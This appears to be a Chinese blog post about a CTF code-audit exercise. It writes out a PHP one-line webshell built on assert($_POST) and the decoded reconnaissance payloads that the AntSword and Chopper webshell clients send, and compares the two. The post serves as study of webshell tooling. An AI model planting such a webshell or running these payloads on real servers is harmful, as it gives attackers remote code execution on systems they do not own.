墨者学院_代码审计1

墨者学院的代码审计:

解题思路就不说了,这里推荐先知社区
这里整理一下在做题其中遇到的问题

第一题:
一句话木马,效果相当于这样

<?php assert($_POST['1']);?>

一开始用蚁剑链接的,报错,心想是不是过滤了什么。
然后直接用命令注入直接ls,cat,发现ls可以出来,cat不出来。
当时忘了用var_dump看看是被过滤了还是还是其他的什么原因。
但是用菜刀链接成功了,难道菜刀和蚁剑不是用的一套payload?
bp抓包,试一下。
蚁剑:(蚁剑用的是url编码,我解码,在格式化后的)

1 =
@ini_set("display_errors", "0");
@set_time_limit(0);
echo "e0372";
$D = dirname($_SERVER["SCRIPT_FILENAME"]);
if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);
$R = "{$D}  ";
if (substr($D, 0, 1) != "/") {
    foreach (range("C", "Z") as $L) if (is_dir("{$L}:")) $R.= "{$L}:";
} else {
    $R.= "/";
}
$R.= "  ";
$u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
$s = ($u) ? $u["name"] : @get_current_user();
$R.= php_uname();
$R.= "  {$s}";
echo $R;;
echo "d2119";
die();

emmm..有点复杂,先不研究这个
接着看菜刀:

1=@eval�(base64_decode($_POST[action]));

&action=
@ini_set("display_errors", "0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo ("->|");;
$D = dirname($_SERVER["SCRIPT_FILENAME"]);
if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);
$R = "{$D}\t";
if (substr($D, 0, 1) != "/") {
    foreach (range("A", "Z") as $L) if (is_dir("{$L}:")) $R.= "{$L}:";
}
$R.= "\t";
$u = (function_exists('posix_getegid')) ? @posix_getpwuid(@posix_geteuid()) : '';
$usr = ($u) ? $u['name'] : @get_current_user();
$R.= php_uname();
$R.= "({$usr})";
print $R;;
echo ("|<-");
die();

对比一下发现,两段代码在构造php代码上基本没有区别
就是菜刀多加了一层eval
那这样的意义是什么呢
柠檬师傅的帖子
看,emmm...看不懂..先贴着

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 当给sq...
    xuningbo阅读 10,434评论 2 22
  • 【转】http://bendawang.site/2018/03/01/%E5%85%B3%E4%BA%8EPyt...
    fatshi阅读 1,615评论 0 1
  • sqlmap用户手册 说明:本文为转载,对原文中一些明显的拼写错误进行修正,并标注对自己有用的信息。 ======...
    wind_飘阅读 2,114评论 0 5
  • 记hackeme做题 hide and seek 查看源代码,搜索flag,看到flag guestbook 简单...
    Aluvion阅读 3,368评论 0 2
  • 一、Python简介和环境搭建以及pip的安装 4课时实验课主要内容 【Python简介】: Python 是一个...
    _小老虎_阅读 5,822评论 0 10